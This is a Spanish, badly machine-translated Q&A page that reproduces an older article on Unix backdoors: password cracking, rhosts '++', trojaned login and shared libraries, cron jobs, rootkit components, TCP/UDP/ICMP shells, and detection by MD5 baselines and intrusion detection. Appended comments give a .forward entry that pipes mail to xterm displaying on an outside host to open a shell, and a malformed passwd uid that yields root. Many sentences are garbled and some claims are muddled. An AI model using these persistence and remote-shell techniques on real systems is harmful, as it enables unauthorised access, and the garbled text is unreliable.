¿Qué es un virus de puerta trasera?
Categoría: Ordenador/Red>>Antivirus
Análisis:
Cuando un programador bien formado diseña un software con funciones más complejas, es costumbre Primero divida todo el software en varios módulos y luego diseñe y depure cada módulo por separado, y la puerta trasera es la entrada secreta a un módulo. Existen puertas traseras para facilitar las pruebas, cambios y mejoras de la funcionalidad del módulo durante el desarrollo del programa. Por supuesto, los programadores generalmente no registran las puertas traseras en la documentación del software, por lo que los usuarios generalmente no pueden comprender la existencia de puertas traseras.
/ De acuerdo con los procedimientos operativos normales, el programador debe eliminar la puerta trasera del módulo de software antes de entregar el software al usuario. Sin embargo, debido a la negligencia del programador, o al dejarla deliberadamente en el programa para que se puede modificar en el futuro. En realidad, no se ha eliminado por diversas razones, como el acceso oculto del programa para facilitar las pruebas o el mantenimiento del programa completo.
De esta manera, la puerta trasera puede ser utilizada en secreto por el autor del programa, o puede ser descubierta y explotada por unas pocas personas con motivos ocultos mediante una búsqueda exhaustiva.
cache.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow %2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu
¿Qué es una puerta trasera?
Desde los primeros días de los intrusos informáticos, han trabajado duro para desarrollar herramientas que les permitan volver al sistema comprometido. Tecnologías o puertas traseras. Este artículo analizará muchas puertas traseras comunes y sus métodos de detección. Se centrará más en las puertas traseras en los sistemas Unix, y también analizará algunas puertas traseras de Windows NT que aparecerán en el futuro. Cómo detectar las puertas traseras utilizadas por los intrusos. Los métodos y conceptos básicos sobre cómo los administradores pueden evitar que los intrusos regresen. Cuando los administradores comprendan lo difícil que es detener a los intrusos una vez que hayan entrado, serán más proactivos a la hora de prevenir la primera intrusión. intentos de cubrir Hay una gran cantidad de métodos populares para que los intrusos junior y avanzados creen puertas traseras, pero no cubren ni pueden cubrir todos los métodos posibles.
La mayoría de las puertas traseras de los intrusos logran los siguientes dos o tres propósitos:
Incluso si un administrador mejora la seguridad cambiando todas las contraseñas o algo así, aún puede ocurrir una nueva intrusión. Esto minimiza la posibilidad de que se descubra una nueva intrusión. La mayoría de las puertas traseras logran escapar de los registros, y en la mayoría de ellos. En algunos casos, incluso si la intrusión incluso si el intruso está usando el sistema, no mostrará que está en línea. En algunos casos, si el intruso cree que el administrador puede detectar la puerta trasera instalada, utiliza la vulnerabilidad del sistema como única. puerta trasera para entrar repetidamente en la máquina. Esto no atraerá la atención de los administradores. Por lo tanto, en este caso, la vulnerabilidad de una máquina es la única puerta trasera que pasa desapercibida.
Puerta trasera para descifrar contraseñas
Esta. es un intruso El método más antiguo y antiguo utilizado, no solo puede obtener acceso a máquinas Unix, sino que también puede crear puertas traseras descifrando contraseñas. Esto es para descifrar cuentas con contraseñas débiles, incluso si el administrador bloquea la cuenta actual. El intruso, estas nuevas cuentas aún pueden usarse como puertas traseras para volver a ingresar. En la mayoría de los casos, los intrusos buscan cuentas no utilizadas con contraseñas débiles y luego dificultan su cambio. Cuando los administradores buscan cuentas con contraseñas débiles, no lo hacen. No encuentra aquellos con contraseñas modificadas. Por lo tanto, es difícil para los administradores determinar qué cuenta bloquear.
Rhosts + + backdoor
En máquinas Unix en red, servicios como. Rsh y Rlogin se basan en el archivo rhosts. El nombre del host utiliza un método de autenticación simple. Los usuarios pueden cambiar fácilmente la configuración sin necesidad de una contraseña para ingresar. Un intruso puede simplemente ingresar "++" en el archivo rhosts de un usuario que tiene acceso. , permitiendo que cualquiera pueda acceder desde cualquier lugar. Puede ingresar a esta cuenta sin contraseña. Especialmente cuando el directorio de inicio se comparte externamente a través de NFS, los intrusos están más interesados en esto. Estas cuentas también se han convertido en puertas traseras para que los intrusos vuelvan a invadir. usar Rsh, porque generalmente carece de capacidades de registro. Muchos administradores marcan "++" con frecuencia, por lo que los intrusos pueden establecer el nombre de host y el nombre de usuario de otra cuenta de Internet, lo que hace que sea menos probable que la descubran. .
p>Puertas traseras de suma de verificación y marca de tiempo
En los primeros días, muchos intrusos usaban sus propios programas troyanos para reemplazar archivos binarios. Los administradores del sistema confiaban en programas de marca de tiempo y suma de verificación del sistema para identificar uno. Si se ha modificado el archivo binario, como el programa sum en Unix. El intruso ha desarrollado una nueva tecnología para sincronizar las marcas de tiempo del archivo troyano y el archivo original. Se implementa de esta manera: primero vuelva a configurar el reloj del sistema. la hora del archivo original y luego ajuste la hora del archivo troyano a la hora del sistema. Una vez que el archivo troyano binario esté sincronizado con precisión con el original, la hora del sistema se puede restablecer a la hora actual. El programa de suma se basa en CRC. check, que es fácil de engañar Intrusión El autor ha diseñado un programa que puede ajustar la suma de verificación del troyano a la suma de verificación del archivo original recomendado por la mayoría de las personas, y el algoritmo utilizado por MD5. todavía no ha sido engañado por nadie.
Puerta trasera de inicio de sesión
>
En Unix, el programa de inicio de sesión se usa generalmente para verificar la contraseña de los usuarios que provienen de Tel. El intruso obtiene el código original de login.c y lo modifica para verificar primero la contraseña de la puerta trasera al comparar la contraseña ingresada y la anterior. la contraseña almacenada. Si cuando el usuario ingresa la contraseña de la puerta trasera, ignorará la contraseña establecida por el administrador y le permitirá ingresar directamente. Esto permitirá que el intruso ingrese a cualquier cuenta, incluso la raíz, ya que la contraseña de la puerta trasera se genera antes que la. el usuario realmente inicia sesión y accede a utmp y wtmp, por lo que un intruso puede iniciar sesión y obtener un shell sin exponer la cuenta. Después de que el administrador notó esta puerta trasera, usó el comando "strings" para buscar información de texto en el programa de inicio de sesión. En muchos casos, la contraseña de la puerta trasera quedará expuesta. El intruso comenzará a cifrar o, mejor, a ocultar la contraseña, lo que invalidará el comando de cadenas. Por lo tanto, más administradores utilizan sumas de comprobación MD5 para detectar este tipo de puerta trasera. Teld backdoor
Cuando el usuario llama al sistema, el servicio de identificación que escucha en el puerto acepta la conexión y luego la pasa a in.teld, que ejecuta el inicio de sesión. Algunos intrusos saben que el administrador comprobará si. el inicio de sesión ha sido modificado, por lo que proceden a modificar in.teld. Hay algunas comprobaciones sobre la información del usuario dentro de in.teld, como qué terminal usa el usuario. Las configuraciones típicas del terminal son Xterm o VT100. Cuando el terminal está configurado en "letmein", no se requiere un shell autenticado. El intruso ha creado una puerta trasera para algunos servicios, generando un shell para conexiones desde puertos de origen específicos.
Puertas traseras de servicio
Casi todos los servicios de red han sido bloqueados por intrusos. Las versiones de finger, rsh, rexec, rlogin, ftp e incluso ID, etc. están en todas partes. Algunas son simplemente shells conectados a un determinado puerto TCP, a través de una contraseña de puerta trasera se puede acceder. ¿Se utilizan a veces estos programas? Los servicios no utilizados, como ucp, se pueden agregar a id.conf como un nuevo servicio. Los administradores deben prestar mucha atención a qué servicios se están ejecutando y usar MD5 para verificar el programa de servicio original.
Puerta trasera de Cronjob
.Cronjob en Unix puede programar la ejecución de programas específicos de acuerdo con un cronograma. Los intrusos pueden agregar un programa de shell de puerta trasera para ejecutarlo entre la 1 a. m. y las 2 a. m., de modo que se pueda obtener acceso durante una hora cada noche. cronjob Los programas legales que se ejecutan con frecuencia también tienen puertas traseras integradas.
Puertas traseras de biblioteca
Casi todos los sistemas UNIX utilizan bibliotecas compartidas para reutilizar las mismas funciones. la longitud del código. Algunos intrusos han creado puertas traseras en funciones como crypt.c y _crypt.c. Programas como login.c llaman a crypt(), que genera un shell cuando se utiliza la contraseña de puerta trasera. verificar que el programa de inicio de sesión aún puede generar una función de puerta trasera. Y muchos administradores no verifican si la biblioteca tiene una puerta trasera. Hay un problema para muchos intrusos: algunos administradores usan MD5 para todo. Una forma es que el intruso abra la puerta trasera. () y funciones de acceso a archivos, la función de puerta trasera lee el archivo original pero ejecuta el programa de puerta trasera troyana. Entonces, cuando MD5 lee estos archivos, la suma de verificación es normal, pero cuando el sistema se está ejecutando, se ejecutará incluso la biblioteca troyana. sí mismo puede evadir la verificación MD5. Hay una manera para que los administradores encuentren la puerta trasera, que es compilar estáticamente el programa de verificación MD5 y luego ejecutarlo. El vinculador estático no utilizará troyanos** *Compartir biblioteca.
Puerta trasera del kernel
El kernel es el núcleo del trabajo de Unix. Los métodos utilizados por las bibliotecas para evitar la verificación MD5 también se aplican al nivel del kernel, e incluso las conexiones estáticas no se pueden reconocer. las más difíciles de encontrar para los administradores. Afortunadamente, las puertas traseras del kernel no están disponibles y todo el mundo sabe hasta qué punto se extienden.
Puerta trasera del sistema de archivos
Los intrusos necesitan almacenar su botín o. datos en el servidor y no se pueden administrar
Los administradores descubrieron que los artículos de los intrusos a menudo incluyen herramientas de script de explotación, conjuntos de puertas traseras, registros de rastreadores, copias de seguridad de correo electrónico, código original, etc. A veces, para evitar que los administradores descubran archivos tan grandes, los intrusos necesitan parchear "ls", "du", "fsck" para ocultar directorios y archivos específicos. En un nivel muy bajo, un intruso puede aprovechar esta vulnerabilidad cortando una parte del disco duro en un formato propietario y representándolo como un sector defectuoso. Por lo tanto, los intrusos sólo pueden utilizar herramientas especiales. para acceder a estos archivos ocultos. Para los administradores normales
, es difícil encontrar el sistema de archivos en estos "sectores defectuosos", pero existe.
Puerta trasera de bloqueo de arranque
En el mundo de las PC, muchos virus se esconden en la zona raíz y el software antivirus verifica si la zona raíz ha sido modificada. En Unix, la mayoría de los administradores no verifican el software de la zona raíz, por lo que algunos intrusos dejan algunas puertas traseras. en la zona raíz.
Puertas traseras de procesos ocultos
Los intrusos generalmente quieren ocultar los programas que ejecutan. Estos programas suelen ser programas para descifrar contraseñas y programas de escucha (sniffer). Para lograr esto, aquí está el más general: cuando escriba un programa, modifique su argv[] para que se parezca a otros nombres de procesos. Puede cambiar el nombre del programa rastreador a algo como in.syslog y luego ejecutarlo. El administrador usa "ps" para verificar los procesos en ejecución, aparece el nombre del servicio estándar. La función de la biblioteca se puede modificar para que "ps" no pueda mostrar todos los procesos. Se puede incrustar una puerta trasera o un programa en el controlador de interrupción para usarlo. en la tabla de procesos Un ejemplo de puerta trasera que utiliza esta técnica es amod.tar.gz:
star.niimm.spb.su/~maillist/bugtraq.1/0777
. También puede modificar el proceso oculto del kernel.
Rootkit
Uno de los paquetes de instalación de puerta trasera más populares es rootkit. Es fácil de encontrar utilizando un buscador web desde el archivo README de Rootkit. Se pueden encontrar algunos archivos típicos:
z2: elimina entradas de utmp, wtmp y lastlog.
Es: rastreador de ether de rokstar para kernels basados en sun4.
Solución: intente falsificar sumas de verificación, instálelo con las mismas fechas/perms/u/g.
Sl: abeja raíz a través de una contraseña mágica enviada para iniciar sesión.
Ic: ifconfig modificado para eliminar Bandera PROMISC de la salida.
ps: - oculta los procesos.
Ns - estadística modificada para ocultar conexiones a ciertas máquinas.
Ls - oculta ciertos directorios y archivos se muestren en la lista.
du5: oculta cuánto espacio se está utilizando en su disco duro.
ls5: oculta ciertos archivos y directorios para que no se muestren en la lista.
Puertas traseras de acceso a la red
Los intrusos no solo quieren ocultar su presencia en el sistema, sino también su acceso a la red. Estas puertas traseras de acceso a la red a veces permiten a los intrusos obtener acceso a través de firewalls. El intruso establece un número de puerto determinado y no necesita acceder a él a través de un servicio normal. Esto se debe a que es a través de un puerto de red no estándar.
Con tal tráfico, los administradores pueden pasar por alto las huellas del intruso. Esta puerta trasera suele utilizar TCP, UDP e ICMP, pero también puede haber otros tipos de mensajes.
Puerta trasera TCP Shell
Los autores de intrusiones pueden. cree estas puertas traseras de TCP Shell en puertos TCP de alto nivel que no estén bloqueados por el firewall. En muchos casos, están protegidos con contraseñas para evitar que los administradores vean el acceso al shell inmediatamente después de conectarse. Los administradores pueden usar el comando stat para ver la conexión actual. estado, qué puertos están escuchando y el contexto de la conexión actual. Por lo general, estas puertas traseras permiten a los intrusos evadir la tecnología TCP Wrapper. Estas puertas traseras se pueden colocar en los puertos SMTP, a través de los cuales muchos firewalls permiten el paso del correo electrónico.
Puerta trasera de UDP Shell
Los administradores a menudo prestan atención a las conexiones TCP y observan sus situaciones extrañas, pero la puerta trasera de UDP Shell no tiene dicha conexión, por lo que las estadísticas no pueden mostrar los rastros de acceso de los intrusos. configurado para permitir mensajes UDP similares a DNS. Generalmente los intrusos colocan UDP Shell en este puerto, permitiéndole pasar a través del firewall.
Puerta trasera ICMP Shell
Ping es un método común para detectar actividad de la máquina enviando y recibiendo paquetes ICMP. Uno. Muchos firewalls permiten que personas externas hagan ping a las máquinas dentro de ellos. Un intruso puede colocar datos en el paquete Ping ICMP, formando un túnel de shell entre las máquinas que hacen ping. pero a menos que mire dentro del paquete de datos, de lo contrario el intruso no quedará expuesto.
Conexión cifrada
El administrador puede crear un rastreador para intentar acceder a los datos, pero cuando el intruso cifra la puerta trasera de acceso a la red, es imposible determinar el contenido de la transmisión entre las dos máquinas.
Windows NT
Dado que Windows NT no puede permitir fácilmente que varios usuarios accedan a una máquina como en Unix , es muy difícil para la intrusión. Será muy difícil para un atacante entrar en Windows NT, instalar una puerta trasera y lanzar un ataque desde allí. Por lo tanto, verá ataques de red generalizados desde Unix con mayor frecuencia a medida que Windows NT mejore. tecnología de usuario, los intrusos serán más frecuentes. Haga un uso completo de Windows NT. Si llega este día, muchas tecnologías de puerta trasera de Unix se trasladarán a Windows NT y los administradores pueden esperar la llegada de los intrusos. Hoy, Windows NT ya tiene el demonio tel. A través de la puerta trasera de la red, los intrusos pueden descubrir que es factible instalarlos en Windows NT. /p>
A medida que la tecnología de puerta trasera se vuelve más avanzada, a los administradores les resulta más difícil determinar si los intrusos han penetrado en este último. han sido bloqueados con éxito.
Evaluación
Lo primero que debe hacer es ser proactivo. Estime con precisión la vulnerabilidad de su red para determinar la presencia de vulnerabilidades y solucionarlas. Muchas herramientas comerciales lo son. disponible para ayudar a escanear y verificar vulnerabilidades de red y sistema. Muchas empresas mejorarán enormemente su seguridad si simplemente instalan los parches de seguridad del proveedor.
MD5 Baseline
Un factor importante en un sistema. El escaneo (de seguridad) es la línea de base de la suma de verificación MD5. La línea de base MD5 se establece mediante un sistema limpio antes de que un pirata informático invada y establezca una puerta trasera. Algunas empresas se han visto comprometidas. tienen puertas traseras en sus sistemas durante meses. Todas las copias de seguridad del sistema contienen puertas traseras. Cuando una empresa descubre un pirata informático y cuando recurre a la copia de seguridad para eliminar las puertas traseras, todos los esfuerzos son en vano porque cuando restauran el sistema, también restauran la puerta trasera. debe establecerse antes de que ocurra una intrusión.
Detección de intrusiones
A medida que varias organizaciones se conectan y permiten conexiones a algunas de sus propias máquinas, la detección de intrusiones se está volviendo cada vez más importante en el pasado. , la mayoría de las tecnologías de detección de intrusiones se basaban en registros.
Tipo La última tecnología de sistema de detección de intrusiones (IDS) se basa en la interceptación en tiempo real y el análisis de seguridad del tráfico de red. La última tecnología IDS puede explorar mensajes DNS UDP y determinar si cumplen con las solicitudes del protocolo DNS. el protocolo, envía una señal de advertencia y captura los datos para su posterior análisis. El mismo principio se puede aplicar a los paquetes ICMP, verificando si los datos cumplen con los requisitos del protocolo o si se debe montar una sesión de shell cifrada.
Arrancar desde CD-ROM
Algunos administradores consideran arrancar desde un CD-ROM para eliminar la posibilidad de que un intruso cree una puerta trasera en el CD-ROM. El problema con este enfoque es el costo y el tiempo para hacerlo. implementar son lo suficientemente altos para la empresa.
Advertencia
Debido a los rápidos cambios en el campo de la seguridad, cada día se anuncian nuevas vulnerabilidades y los intrusos diseñan constantemente nuevos ataques e instalan puertas traseras. tecnologías ¡No existe una tecnología de seguridad libre de preocupaciones! Recuerde que no existe una defensa simple, ¡solo esfuerzos incansables!
(Tenga en cuenta que ninguna defensa es infalible y que no hay sustituto. para
atención diligente. ¿Cómo traducir esta oración? :()
----------------------- ---------------- ----------------------------------
es posible que desee agregar:
.forward Backdoor
En máquinas Unix, también era necesario colocar comandos en el archivo .forward
un método mon para recuperar el acceso Para la cuenta ``nombre de usuario''
se podría construir un archivo .forward de la siguiente manera:
\nombre de usuario
|" /usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
Las permutaciones de este método incluyen la alteración del correo del sistema.
archivo de alias (normalmente ubicado en /etc /aliases). Tenga en cuenta que
esta es una permutación simple; los más avanzados pueden ejecutar un script
simple. desde el archivo directo que puede tomar comandos arbitrarios a través de
stdin (después de un preprocesamiento menor).
PD: El método anterior también es útil para obtener acceso a una empresa
mailhub (suponiendo que haya un directorio de inicio compartido FS en
&nbs>
el cliente y el servidor).
> El uso de *** rsh puede negar eficazmente esta puerta trasera (aunque es bastante
&
gt; posiblemente siga siendo un problema si permites cosas como el filtro de elm o
> procmail que puede ejecutar programas por sí solos...).
Es posible que desees agregar:
.forward backdoor
En Unix, colocar comandos en el archivo .forward es un método común para recuperar el acceso. El .forward de la cuenta 'nombre de usuario' se puede configurar de la siguiente manera:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
Variaciones de esto El método incluye cambiar el archivo de alias de correo del sistema (generalmente ubicado en /etc/aliases). Tenga en cuenta que esto es solo una transformación simple. Los más avanzados pueden ejecutar scripts simples desde .forward para ejecutar comandos arbitrarios en la entrada estándar (después de una pequeña cantidad de). preprocesamiento). >El uso de *** rsh puede prevenir eficazmente este tipo de puerta trasera (aunque si permite el filtro de elm o los programas procmail> autoejecutables, todavía puede haber problemas...)
(No lo hago). No entiendo profundamente el contenido de este párrafo, así que lo puse en inglés. ¡Por favor, dame un consejo!)
------------------- ------- ------------------------------------------- -------
Es posible que puedas utilizar esta "función" como puerta trasera:
La mayoría de las implementaciones de login(1) fallan cuando se ingresa un uid/gid incorrecto. especificado en /etc/password Compruebe el uid/gid incorrecto y atoi(3) establecerá el uid/gid en 0, otorgando derechos de superusuario.
Ejemplo:
rmartin: x: x50:50:R Martin:/home/rmartin:/bin/tcsh
En Linux, esto establecerá el uid del usuario rmartin en 0.